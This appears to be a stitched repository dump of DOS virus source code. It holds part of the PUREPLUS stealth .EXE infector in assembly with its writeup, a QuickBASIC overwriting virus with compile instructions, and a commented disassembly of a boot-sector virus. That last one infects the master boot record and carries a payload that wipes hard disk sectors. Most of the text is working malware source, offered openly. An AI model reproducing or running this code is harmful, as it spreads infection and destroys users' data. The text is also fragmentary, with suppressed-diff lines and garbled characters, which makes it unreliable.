int DOS_INT ;this cleans the file if virii didn't load in HMA
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
call reclose_it ;set SFT to not change file date and time at close
pop dx ;get file name again from the stack
pop ds
open_file endp
;-----------------------------------------------------------------------------
now_run_it proc near ;setup the exec of current program again
push cs ;like a spawned file
pop es ;es now cs
mov bx,offset exec_table
mov ah,high(RESIZE_MEMORY)
int DOS_INT ;first resize memory
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
xchg bx,si ;set si to where the table varables are
mov di,bx ;set di to where 14 byte exec table is to be made
mov ax,EXEC_PROGRAM ;set ax for file execute
set_table: scasw ;advance 2 bytes in destination table
movs byte ptr es:[di],cs:[si]
scasb ;move a byte then check if next byte is nonzero
mov word ptr cs:[di],cs
je set_table ;fill in the code segment into table and jmp if still zero
call call_dos ;exec program again
mov ax,FIND_FIRST ;need to infect more EXE files
mov dx,offset exe_file_mask
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
find_next_file: call call_dos ;set cx to 15 to loop that many times
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
int DOS_INT ;get it
add bx,FILENAME_OFFSET
push es ;get the filename into ds:bx
pop ds
call open_n_read_exe ;open, read cx bytes, close file ds:bx
mov ah,high(FIND_NEXT)
loop find_next_file ;loop until no more matches
done: mov ah,high(GET_ERROR_LEVEL)
int DOS_INT ;get spawned childs program errorlevel
mov ah,high(TERMINATE_W_ERR)
now_run_it endp ;and return with that same errorlevel
;-----------------------------------------------------------------------------
call_dos proc near ;routine to call dos
int DOS_INT ;call dos
jc done ;error in doing so then exit
xchg ax,bx ;set bx to ax for open file stuff
push cs ;set ds to cs
pop ds ;for all sorts of stuff
mov ax,JOB_FILE_TABLE
ret ;get job file table
call_dos endp ;(done here for anti TBAV hueristic scan)
;-----------------------------------------------------------------------------
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
;these are used to create the 14 byte exec
;table to rerun program
;-----------------------------------------------------------------------------
open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes
mov dx,bx ;set dx to bx for dos call to open file
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos ;just open it for reading (don't sound any alarms)
mov dx,offset critical_error
mov ax,DOS_SET_INT+CRITICAL_INT
int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler
inc dh ;just some dummy area outside in the heap to read the header of the file to
mov ah,high(READ_W_HANDLE)
int DOS_INT ;read it
reclose_it: mov ah,high(CLOSE_HANDLE)
jmp short call_dos ;goto close it
open_n_read_exe endp
;-----------------------------------------------------------------------------
interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:????
cmp ax,VERIFY_3SECTORS
jne interrupt_ret ;if not doing int 13 stuff just leave
push ds ;push varables on stack
pusha
mov bp,sp ;make bp the sp
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
jne go_back ;compare the instruction to a far call function
mov si,word ptr ds:[si+THREE_BYTES]
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
jne go_back ;compare the address of the call to segment FFFFh
cld ;if match then cx is pointing to the far call EAh at
mov di,cx ;the end of virii that needs to be updated
movsw ;move the address to our code
movsw ;far addresses are 4 bytes long
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
mov word ptr ds:[si-FOUR_BYTES],di
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
go_back: popa ;no longer need to singel step
pop ds ;pop off varables
critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
interrupt_ret: iret ;dual useage of iret. critical error and int 1
interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in
;-----------------------------------------------------------------------------
exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
;-----------------------------------------------------------------------------
convert_back proc near ;will convert virii sector es:bx back to clean sector
call ax_cx_di_si_cld ;get all them varables
repe cmps byte ptr cs:[si],es:[di]
jne not_pure ;does it compare byte for byte with our code
xor byte ptr ds:[bx],ah
call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature
rep stosb ;and zero out all the code
not_pure: ret ;go back to where you once belonged
convert_back endp
;-----------------------------------------------------------------------------
convert_to proc near ;will convert sector ds:bx into virii infected
pusha ;save varables onto stack
stc ;say that we failed
pushf ;push failed onto the stack
mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
cmp word ptr ds:[bx],ax
jne not_exe_header ;if not an EXE header then not interested
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file
ja not_exe_header ;if not then not interested
cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested
je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested
call ax_cx_di_si_cld ;get all them varables
pusha ;save'em
repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector
popa ;get'em again
jne not_exe_header ;if not then not interested
xor byte ptr ds:[bx],ah
rep movs byte ptr es:[di],cs:[si]
popf ;if all criteria were met for infection then modify sector in memory and insert virii
clc ;pop off the fail indicator
pushf ;and push on the passed indicator
not_exe_header: popf ;get passed/failed indicator
popa ;get varables from stack
ret ;go back to where you once belonged
convert_to endp
;-----------------------------------------------------------------------------
interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
int_13_entry: cmp ah,high(READ_A_SECTOR)
jb call_old_int_13 ;only interested in reads, writes and verifys
cmp ah,high(VERIFY_3SECTORS)
ja call_old_int_13 ;if otherwise then go to old int 13
push ds ;save ds
push es ;so we can make ds the same as es and save a few bytes
pop ds
call convert_to ;try to convert it to a virii sector
pushf ;set up for interrupt simulation
push cs ;push the cs onto the stack for the iret
call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read
pushf ;save the result of the int 13 call
call convert_to ;does it need to be converted to a virii sector
pusha ;save the varables onto the stack
jc do_convertback ;if not then see if it needs cleaning
mov ax,WRITE_A_SECTOR
pushf ;now lets write the virii infected sector back to disk
push cs ;simulate an int 13 execution
call call_old_int_13 ;and do it
do_convertback: call convert_back ;does the sector need to be cleaned on the fly
popa ;if it just wrote to the disk then it will need to be cleaned
popf ;or if it is a virii infected sector then clean it
pop ds ;pop off the varables and the result of int 13 simulation done above
retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact
interrupt_13 endp
;-----------------------------------------------------------------------------
signature db 'Q' ;must leave my calling card
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
;must be a far jmp at the last of the sector
;the address of the jmp is in the heap area
;and is filled in by the int 1 trace routine
;-----------------------------------------------------------------------------
call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS
jmp far ptr old_int_13_addr
call_old_int_13 endp
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE
;overwrites the address of above but that address
;is not necessary until the virii goes resident in the HMA
;-----------------------------------------------------------------------------
goto_dos proc near ;this is our simple EXE file that we infected
mov ax,TERMINATE_W_ERR
nop ;it just simply ends
far_ptr_addr: int DOS_INT ;terminate program
goto_dos endp
;-----------------------------------------------------------------------------
pureplus endp ;close up and go home
cseg ends
end com_code
;-----------------------------------------------------------------------------
Virus Name: PUREPLUS
Aliases:
V Status: New, Research Viron
Discovery: March, 1994
Symptoms: None - Pure Stealth
Origin: USA
Eff Length: 441 Bytes
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
Detection Method: None
Removal Instructions: See Below
General Comments:
The PUREPLUS virus is a HMA memory resident overwriting direct action
infector. The virus is a pure 100% stealth virus with no detectable
symptoms. No file length increase; overwritten .EXE files execute
properly; no interrupts are directly hooked; no change in file date or
time; no change in available memory; INT 12 is not moved; no cross
linked files from CHKDSK; when resident the virus cleans programs on
the fly; works with all 80?86 processors; VSAFE.COM does not detect
any changes; Thunder Byte's Heuristic virus detection does not detect
the virus; Windows 3.1's built in warning about a possible virus does
not detect PUREPLUS.
The PUREPLUS is a variation of the PURE virus that will cause
VSAFE.COM to uninstall.
The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
The first time an infected .EXE file is executed, the virus goes
memory resident in the HMA (High Memory Area). The hooking of INT 13
is accomplished using a tunnelling technique, so memory mapping
utilities will not map it to the virus in memory. It then reloads the
infected .EXE file, cleans it on the fly, then executes it. After the
program has been executed, PUREPLUS will attempt to infect 15 .EXE
files in the current directory.
If the PUREPLUS virus is unable to install in the HMA or clean the
infected .EXE on the fly, the virus will reopen the infected .EXE file
for read-only; modify the system file table for write; remove itself,
and then write the cleaned code back to the .EXE file. It then
reloads the clean .EXE file and executes it. The virus can not clean
itself on the fly if the disk is compressed with DBLSPACE or STACKER,
so it will clean the infected .EXE file and write it back. It will
also clean itself on an 8086 or 8088 processor.
It will infect an .EXE if it is executed, opened for any reason or
even copied. When an uninfected .EXE is copied, both the source and
destination .EXE file are infected.
The PUREPLUS virus overwrites the .EXE header if it meets certain
criteria. The .EXE file must be less than 62K. The file does not
have an extended .EXE header. The file is not SETVER.EXE. The .EXE
header must be all zeros from offset 71 to offset 512; this is where
the PUREPLUS virus writes it code. The PUREPLUS virus then changes
the .EXE header to a .COM file. Files that are READONLY can also be
infected.
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
less than 62k. The virus will remove itself from each .EXE program
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
an infected .EXE file, then use a tape backup unit to copy all your
files. The files on the tape have had the virus removed from them.
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
system. Restore from tape all the files back to your system.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

@ -0,0 +1,73 @@
A QB Virus
Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is....
DEFINT A-Z
'$INCLUDE: 'qb.bi'
DECLARE FUNCTION ProgramName$ ()
SHELL "DIR /b *.exeé&uml;é"
OPEN "é&uml;é" FOR BINARY AS #1
IF LOF(1) = 0 THEN CLOSE : KILL "é&uml;é": GOTO endit
CLOSE
OPEN "é&uml;é" FOR INPUT AS #1
1 LINE INPUT #1, host$
GOSUB infect
endit:
crdate$ = "ÎËÓÏÍ"
FOR i = 1 TO LEN(crdate$)
cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE)
NEXT
IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message
PRINT "Program to big to fit in memory"
END
infect:
OPEN host$ FOR BINARY AS #2
IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1
CLOSE
doit$ = "copy " + ProgramName$ + " " + host$ + "nul"
SHELL doit$
CLOSE : GOSUB endit
END
message:
CLS
FOR i = 1 TO 25 * 19.2
PRINT "&deg;&plusmn;&sup2;Û";
COLOR RND * 14 + 1
NEXT
DO: LOOP UNTIL INKEY$ < ""
CLS
PRINT
msg$ = "öîßÌËÙÔ<C399>ääð<C3A4>...î"<EFBFBD>œ""š<EFBFBD>ïÔ-<EFBFBD>ùÈÎÅÃÂ<EFBFBD>ýÅØÃÆ&sect;"
FOR i = 1 TO 37
PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD);
NEXT
FUNCTION ProgramName$ STATIC
DIM Regs AS RegType 'Allocate space for TYPE
' RegType
Regs.ax = &H5100 'DOS function 51h
Interrupt &H21, Regs, Regs ' Get PSP Address
DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt.
EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address
DEF SEG = EnvSeg% 'Set environment address
DO
Byte% = PEEK(Offset%) 'Take a byte
IF Byte% = 0 THEN 'Items are ASCIIZ
Count% = Count% + 1 ' terminated
IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated
EXIT DO 'Exit at the end
ELSEIF Count% = 2 THEN 'Last entry in env. is
EXEFlag% = -1 ' terminated with two
Offset% = Offset% + 2 ' NULs. Two bytes ahead
END IF ' is the EXE file name.
ELSE 'If Byte% < 0, reset
Count% = 0 ' zero counter
IF EXEFlag% THEN 'If EXE name found,
Temp$ = Temp$ + CHR$(Byte%) ' build string
END IF
END IF
Offset% = Offset% + 1 'To grab next byte...
LOOP 'Do it again
DEF SEG 'Reset default segment
ProgramName$ = Temp$ 'Return value
Temp$ = "" 'Clean up
END FUNCTION

@ -0,0 +1,685 @@
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start: jmp l_0CBD ;0100 E9 0BBA
d_0103 db 'J' ;0103 4A
;=============================================================
; Victim code here
;-------------------------------------------------------------
org 076Bh
;=============================================================
; begin of virus code
;-------------------------------------------------------------
;-------BOF pattern (jump into virus & contamination ptr)
db 0E9h ;076B E9
d_0101 dw 0682Ah ;jump distance ;076C 2A 68
db 'J' ;076E 4A
;=============================================================
; Partition table buffer (content not constant)
;-------------------------------------------------------------
r_0104: jmp short l_0775 ;076F EB 04
db 90h ;0771 90
db 'QQ' ;0772 51 51
db 64h ;0774 64
l_0775: push cs ;0775 0E
pop ax ;0776 58
cmp ax,0 ;0777 3D 0000
je l_077F ;077A 74 03
jmp short l_07D2 ;077C EB 54
db 90h ;077E 90
l_077F: cmp byte ptr cs:[7C05h],0 ;077F 2E: 80 3E 7C05 00
jne l_0799 ;0785 75 12
l_0787: mov ax,310h ;0787 B8 0310
mov cx,1 ;078A B9 0001
mov dx,80h ;078D BA 0080
mov bx,0 ;0790 .BB 0000
int 13h ;0793 CD 13
stc ;0795 F9
cli ;0796 FA
jc l_0787 ;0797 72 EE
l_0799: xor ax,ax ;0799 33 C0
mov es,ax ;079B 8E C0
dec byte ptr cs:[7C05h] ;079D 2E: FE 0E 7C05
mov ax,301h ;07A2 B8 0301
mov cx,1 ;07A5 B9 0001
mov dx,80h ;07A8 BA 0080
mov bx,7C00h ;07AB .BB 7C00
int 13h ;07AE CD 13
mov ax,1000h ;07B0 B8 1000
mov es,ax ;07B3 8E C0
mov ax,0 ;07B5 B8 0000
mov ds,ax ;07B8 8E D8
mov di,7C00h ;07BA .BF 7C00
mov si,di ;07BD 8B F7
cld ;07BF FC
mov cx,200h ;07C0 B9 0200
rep movsb ;07C3 F3/ A4
mov ax,1000h ;07C5 B8 1000
push ax ;07C8 50
mov ax,7C00h ;07C9 B8 7C00
push ax ;07CC 50
mov bp,sp ;07CD 8B EC
;* jmp dword ptr [bp] ;07CF FF 6E 00
db 0FFh, 6Eh, 00h ;07CF FF 6E 00
l_07D2: xor ax,ax ;07D2 33 C0
mov ds,ax ;07D4 8E D8
mov ax,27Bh ;07D6 B8 027B
mov ds:[0413h],ax ;07D9 A3 0413
mov ax,9F00h ;07DC B8 9F00
mov es,ax ;07DF 8E C0
mov bx,0100h ;07E1 .BB 0100
mov al,8 ;07E4 B0 08
mov ah,2 ;07E6 B4 02
mov ch,0 ;07E8 B5 00
mov cl,3 ;07EA B1 03
mov dh,0 ;07EC B6 00
mov dl,80h ;07EE B2 80
int 13h ;07F0 CD 13
xor ax,ax ;07F2 33 C0
mov ds,ax ;07F4 8E D8
mov word ptr ds:[03D4h],'JM' ;07F6 C7 06 03D4 4A4D
mov ax,48Bh ;07FC B8 048B
mov ds:[0070h],ax ;07FF A3 0070
mov word ptr ds:[0072h],9F00h ;0802 C7 06 0072 9F00
mov ax,0 ;0808 B8 0000
mov es,ax ;080B 8E C0
mov bx,7C00h ;080D .BB 7C00
mov ah,2 ;0810 B4 02
mov al,1 ;0812 B0 01
mov ch,0 ;0814 B5 00
mov cl,2 ;0816 B1 02
mov dh,0 ;0818 B6 00
mov dl,80h ;081A B2 80
int 13h ;081C CD 13
xor ax,ax ;081E 33 C0
push ax ;0820 50
mov ax,7C00h ;0821 B8 7C00
push ax ;0824 50
mov bp,sp ;0825 8B EC
;* jmp dword ptr [bp] ;*1 entry ;0827 FF 6E 00
db 0FFh, 6Eh, 00h ;0827 FF 6E 00
db '. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah ;082A 2E 20 66 69 78 65
;0830 64 20 64 69 73 6B
;0836 2E 0D 0A 0D 0A
db 'Insert COMPAQ DOS diskette in dr' ;083B 49 6E 73 65 72 74
;0841 20 43 4F 4D 50 41
;0847 51 20 44 4F 53 20
;084D 64 69 73 6B 65 74
;0853 74 65 20 69 6E 20
;0859 64 72
db 'ive A.', 0Dh, 0Ah, 'Press any ke' ;085B 69 76 65 20 41 2E
;0861 0D 0A 50 72 65 73
;0867 73 20 61 6E 79 20
;086D 6B 65
db 'y when ready: ' ;086F 79 20 77 68 65 6E
;0875 20 72 65 61 64 79
;087B 3A 20
db 7 ;087D 07
db 207 dup (0) ;087E 00CF[00]
db 80h, 01h, 01h, 00h, 04h, 06h ;094D 80 01 01 00 04 06
db 51h, 6Dh, 11h, 00h, 00h, 00h ;0953 51 6D 11 00 00 00
db 11h,0AAh, 00h, 00h, 00h, 00h ;0959 11 AA 00 00 00 00
db 41h, 6Eh, 04h, 06h, 91h,0DBh ;095F 41 6E 04 06 91 DB
db 22h,0AAh, 00h, 00h, 22h,0AAh ;0965 22 AA 00 00 22 AA
db 00h, 00h, 55h,0AAh ;096B 00 00 55 AA
;----------------------------------------------------------------
; partition table buffer end
;----------------------------------------------------------------
r_0304 dw 1460h ;int 21h offset ;096F 60 14
r_0306 dw 0273h ;int 21h segment ;0971 73 02
r_0308 dw 1DADh ;int 13h offset ;0973 AD 1D
r_030A dw 0070h ;int 13h segment ;0973 70 00
db 2Bh ;0977 2B
r_030D db 1 ;desturction active if=0;0978 01
r_030E dw 0 ;:= 0C8h - to activation;0979 00 00
r_0310 db 0E9h,34h,05h,01h ;victim bytes ;097B E9 34 05 01
r_0314 db 'Bad command or file name',0Dh,0Ah,'$' ;097F 42 61 64 20 63 6F
;0985 6D 6D 61 6E 64 20
;098B 6F 72 20 66 69 6C
;0991 65 20 6E 61 6D 65
;0997 0D 0A 24
d_032F dw 5 ;file handle ;099A 05 00
d_0331 dw 066Bh ;healthy file length ;099C 6B 06
;===============================================================
; Is virus resident ?
;---------------------------------------------------------------
s_099E proc near
push ax ;099E 50
push ds ;099F 1E
xor ax,ax ;09A0 33 C0
mov ds,ax ;09A2 8E D8
cmp word ptr ds:[03D4h],'JM' ;int F5h ;09A4 81 3E 03D4 4A4D
je l_09B0 ;09AA 74 04
clc ;<- NOT resident ;09AC F8
jmp short l_09B1 ;09AD EB 02
db 90h ;09AF 90
l_09B0: stc ;<- YES, resident ;09B0 F9
l_09B1: pop ds ;09B1 1F
pop ax ;09B2 58
retn ;09B3 C3
s_099E endp
;===============================================================
; Set infection flag
;---------------------------------------------------------------
s_09B4 proc near
push ax ;09B4 50
push ds ;09B5 1E
xor ax,ax ;09B6 33 C0
mov ds,ax ;09B8 8E D8
mov word ptr ds:[03D4h],'JM' ;09BA C7 06 03D4 4A4D
pop ds ;09C0 1F
pop ax ;09C1 58
retn ;09C2 C3
s_09B4 endp
;===============================================================
; Contamine first hard disk drive
;---------------------------------------------------------------
s_09C3 proc near
push ds ;09C3 1E
push es ;09C4 06
push cs ;09C5 0E
pop ds ;09C6 1F
mov ah,2 ;read ;09C7 B4 02
mov al,1 ;1 sector ;09C9 B0 01
mov ch,0 ;track 0 ;09CB B5 00
mov cl,1 ;sector 1 ;09CD B1 01
mov dh,0 ;head 0 ;09CF B6 00
mov dl,80h ;first hard disk drive ;09D1 B2 80
push cs ;09D3 0E
pop es ;09D4 07
mov bx,0104h ;= l_076F ;09D5 .BB 0104
int 13h ;09D8 CD 13
cmp cs:[0107h],'QQ' ;contamination signature;09DA 2E: 81 3E 0107 5151
je l_0A38 ;-> allready infected ;09E1 74 55
;<- destruction variable initiation
mov word ptr cs:[30Eh],0C8h ;= l_0979 count ;09E3 2E: C7 06 030E 00C8
mov byte ptr cs:[30Dh],1 ;= l_0978 off ;09EA 2E: C6 06 030D 01
mov byte ptr cs:[3D5h],64h ;= l_0A40 count ;09F0 2E: C6 06 03D5 64
;<- save oryginal
mov ah,3 ;write ;09F6 B4 03
mov al,1 ;1 sector ;09F8 B0 01
mov ch,0 ;track 0 ;09FA B5 00
mov cl,2 ;sector 2 ;09FC B1 02
mov dh,0 ;head 0 ;09FE B6 00
mov dl,80h ;1 HD Drive ;0A00 B2 80
mov bx,104h ;= offset l_076F ;0A02 .BB 0104
int 13h ;0A05 CD 13
;<- make new Master Boot Record
mov cx,0BBh ;constant part length ;0A07 B9 00BB
inc cx ;0A0A 41
mov si,3D0h ;= offset l_0A3B ;0A0B .BE 03D0
mov di,104h ;= offset l_076F ;0A0E .BF 0104
cld ;0A11 FC
rep movsb ;0A12 F3/ A4
mov ah,3 ;write ;0A14 B4 03
mov al,1 ;1 sector ;0A16 B0 01
mov ch,0 ;track 0 ;0A18 B5 00
mov cl,1 ;sector 1 ;0A1A B1 01
mov dh,0 ;head 0 ;0A1C B6 00
mov dl,80h ;1-st HD Drive ;0A1E B2 80
mov bx,0104h ;= offset L_076F ;0A20 .BB 0104
int 13h ;0A23 CD 13
;<- write rest of virus code
mov al,8 ;8 sectors ;0A25 B0 08
mov ah,3 ;write ;0A27 B4 03
mov ch,0 ;track 0 ;0A29 B5 00
mov cl,3 ;sector 3 ;0A2B B1 03
mov dh,0 ;head 0 ;0A2D B6 00
mov dl,80h ;1-st HD Drive ;0A2F B2 80
mov bx,100h ;= offset L076B ;0A31 .BB 0100
push cs ;0A34 0E
pop es ;0A35 07
int 13h ;0A36 CD 13
;<-- partition table allready infected
l_0A38: pop es ;0A38 07
pop ds ;0A39 1F
retn ;0A3A C3
s_09C3 endp
;================================================================
; Master Boot Record code pattern
;----------------------------------------------------------------
jmp short l_0A41 ;0A3B EB 04
nop ;0A3D 90
db 'QQ' ;contamination sygnature;0A3E 51 51
r_03D5 db 64h ;reboot count to destr. ;0A40 64
l_0A41: push cs ;0A41 0E
pop ax ;0A42 58
cmp ax,0 ;0A43 3D 0000
je l_0A4B ;0A46 74 03
jmp short l_0A9E ;0A48 EB 54
nop ;0A4A 90
;<- code to make destruction
l_0A4B: cmp byte ptr cs:[7C05h],0 ;= r_0305 ;0A4B 2E: 80 3E 7C05 00
jne l_0A65 ;-> counter not exhaused;0A51 75 12
l_0A53: mov ax,0310h ;write 16 sectors ;0A53 B8 0310
mov cx,1 ;track 0, sector 0 ;0A56 B9 0001
mov dx,80h ;head 0, HDD 0 ;0A59 BA 0080
mov bx,0 ;buffer ;0A5C .BB 0000
int 13h ;0A5F CD 13
stc ;0A61 F9
cli ;0A62 FA
jc l_0A53 ;endless loop ;0A63 72 EE
l_0A65: xor ax,ax ;0A65 33 C0
mov es,ax ;0A67 8E C0
dec byte ptr cs:[7C05h] ;reboot counter ;0A69 2E: FE 0E 7C05
mov ax,301h ;write counter to disk ;0A6E B8 0301
mov cx,1 ;0A71 B9 0001
mov dx,80h ;0A74 BA 0080
mov bx,7C00h ;0A77 .BB 7C00
int 13h ;0A7A CD 13
mov ax,1000h ;make virus boot copy ;0A7C B8 1000
mov es,ax ;0A7F 8E C0
mov ax,0 ;0A81 B8 0000
mov ds,ax ;0A84 8E D8
mov di,7C00h ;0A86 .BF 7C00
mov si,di ;0A89 8B F7
cld ;0A8B FC
mov cx,200h ;0A8C B9 0200
rep movsb ;0A8F F3/ A4
mov ax,1000h ;0A91 B8 1000
push ax ;0A94 50
mov ax,7C00h ;0A95 B8 7C00
push ax ;0A98 50
mov bp,sp ;0A99 8B EC
jmp dword ptr [bp] ;run boot code again ;0A9B FF 6E 00
l_0A9E: xor ax,ax ;0A9E 33 C0
mov ds,ax ;0AA0 8E D8
mov ax,27Bh ;= 635 ;0AA2 B8 027B
mov ds:[0413h],ax ;BIOS memory size ;0AA5 A3 0413
mov ax,9F00h ;0AA8 B8 9F00
mov es,ax ;0AAB 8E C0
mov bx,0100h ;virus offset ;0AAD .BB 0100
mov al,8 ;8 sectors ;0AB0 B0 08
mov ah,2 ;read ;0AB2 B4 02
mov ch,0 ;track ;0AB4 B5 00
mov cl,3 ;sector ;0AB6 B1 03
mov dh,0 ;head ;0AB8 B6 00
mov dl,80h ;hdd nr 0 ;0ABA B2 80
int 13h ;0ABC CD 13
xor ax,ax ;0ABE 33 C0
mov ds,ax ;0AC0 8E D8
mov word ptr ds:[03D4h],'JM' ;virus sign. ;0AC2 C7 06 03D4 4A4D
mov ax,48Bh ;0AC8 B8 048B
mov ds:[0070h],ax ;int 1Ch offs ;0ACB A3 0070
mov word ptr ds:[0072h],9F00h;int 1Ch seg ;0ACE C7 06 0072 9F00
mov ax,0 ;0AD4 B8 0000
mov es,ax ;0AD7 8E C0
mov bx,7C00h ;oryg.boot buffer ;0AD9 .BB 7C00
mov ah,2 ;read ;0ADC B4 02
mov al,1 ;1 sector ;0ADE B0 01
mov ch,0 ;track=0 ;0AE0 B5 00
mov cl,2 ;oryg. boot sector = 2 ;0AE2 B1 02
mov dh,0 ;head ;0AE4 B6 00
mov dl,80h ;drive ;0AE6 B2 80
int 13h ;0AE8 CD 13
xor ax,ax ;0AEA 33 C0
push ax ;0AEC 50
mov ax,7C00h ;0AED B8 7C00
push ax ;0AF0 50
mov bp,sp ;0AF1 8B EC
jmp dword ptr [bp] ;0AF3 FF 6E 00
;-------End of MBR pattern
;================================================================
; int 1Ch handling routine (wait until DOS establishing vectors)
;----------------------------------------------------------------
cmp word ptr cs:[30Eh],0 ;0AF6 2E: 83 3E 030E 00
jne l_0AFF ;0AFC 75 01
iret ;0AFE CF
l_0AFF: push ax ;0AFF 50
push ds ;0B00 1E
xor ax,ax ;0B01 33 C0
mov ds,ax ;0B03 8E D8
mov word ptr ds:[03D4h],'JM' ;0B05 C7 06 03D4 4A4D
dec word ptr cs:[30Eh] ;0B0B 2E: FF 0E 030E
cmp word ptr cs:[30Eh],0 ;counter to dest;0B10 2E: 83 3E 030E 00
jne l_0B54 ;0B16 75 3C
cli ;0B18 FA
mov byte ptr cs:[30Dh],0 ;destruct.active;0B19 2E: C6 06 030D 00
xor ax,ax ;0B1F 33 C0
mov ds,ax ;0B21 8E D8
mov ax,ds:[084h] ;int 21h offset ;0B23 A1 0084
mov word ptr cs:[304h],ax ;0B26 2E: A3 0304
mov ax,ds:[086h] ;int 21h segment;0B2A A1 0086
mov word ptr cs:[306h],ax ;0B2D 2E: A3 0306
mov ax,ds:[04Ch] ;int 13h offset ;0B31 A1 004C
mov word ptr cs:[308h],ax ;0B34 2E: A3 0308
mov ax,ds:[04Eh] ;int 13h segment;0B38 A1 004E
mov word ptr cs:[30Ah],ax ;0B3B 2E: A3 030A
;<- int 21h
mov word ptr ds:[084h],51Bh ;L_0B86 = offset;0B3F C7 06 0084 051B
mov ds:[086h],cs ; segment;0B45 8C 0E 0086
;<- int 13h
mov word ptr ds:[04Ch],4ECh ;L_0B57 = offset;0B49 C7 06 004C 04EC
mov ds:[04Eh],cs ; segment;0B4F 8C 0E 004E
sti ;0B53 FB
l_0B54: pop ds ;0B54 1F
pop ax ;0B55 58
iret ;0B56 CF
;===============================================================
; Int 13 handling routine - sector destruction
;---------------------------------------------------------------
CMP BYTE PTR cs:[030Dh],1 ;disable ? ;0B57 2E803E0D0301
JZ l_0B81 ;-> yes ;0B5D 7422
CMP AH,2 ;0B5F 80FC02
JNZ l_0B81 ;0B62 751D
INC BYTE PTR cs:[030Ch] ;interval 256 ;0B64 2EFE060C03
CMP BYTE PTR cs:[030Ch],00 ;0B69 2E803E0C0300
JNZ l_0B81 ;->still waiting;0B6F 7510
PUSHF ;0B71 9C
CALL dword ptr cs:[0308h] ;int 13h;0B72 2EFF1E0803
MOV WORD PTR es:[BX+00C8h],'jm' ;destr. ;0B77 26C787C8006D6A
RETF 2 ;0B7E CA0200
l_0B81: JMP dword ptr cs:[0308h] ;int 13h;0B81 2EFF2E0803
;===============================================================
; Int 21h service routine
;---------------------------------------------------------------
r_051B: CMP AX,4B00h ;0B86 3D004B
JZ l_0B8E ;0B89 7403
JMP l_0C5F ;-> oryginal service ;0B8B E9D100
;<- run program, contamine before
l_0B8E: push ax ;0B8E 50
push bx ;0B8F 53
push cx ;0B90 51
push dx ;0B91 52
push bp ;0B92 55
push di ;0B93 57
push si ;0B94 56
push ds ;0B95 1E
push es ;0B96 06
call s_0C64 ;check type of victim ;0B97 E8 00CA
jnc l_0B9F ;-> COM ;0B9A 73 03
jmp l_0C50 ;-> not COM ;0B9C E9 00B1
l_0B9F: mov ax,4301h ;set file attribute ;0B9F B8 4301
mov cx,0 ;no atributtes ;0BA2 B9 0000
int 21h ;0BA5 CD 21
mov byte ptr cs:[30Dh],1 ;no destruction ;0BA7 2E: C6 06 030D 01
mov ah,3Dh ;open file ;0BAD B4 3D
mov al,2 ;read/write ;0BAF B0 02
int 21h ;0BB1 CD 21
jnc l_0BB8 ;-> O.K. ;0BB3 73 03
jmp l_0C50 ;-> error, exit ;0BB5 E9 0098
l_0BB8: mov word ptr cs:[32Fh],ax ;file handle ;0BB8 2E: A3 032F
call s_0C7F ;check if file infected ;0BBC E8 00C0
jnc l_0BC4 ;-> no ;0BBF 73 03
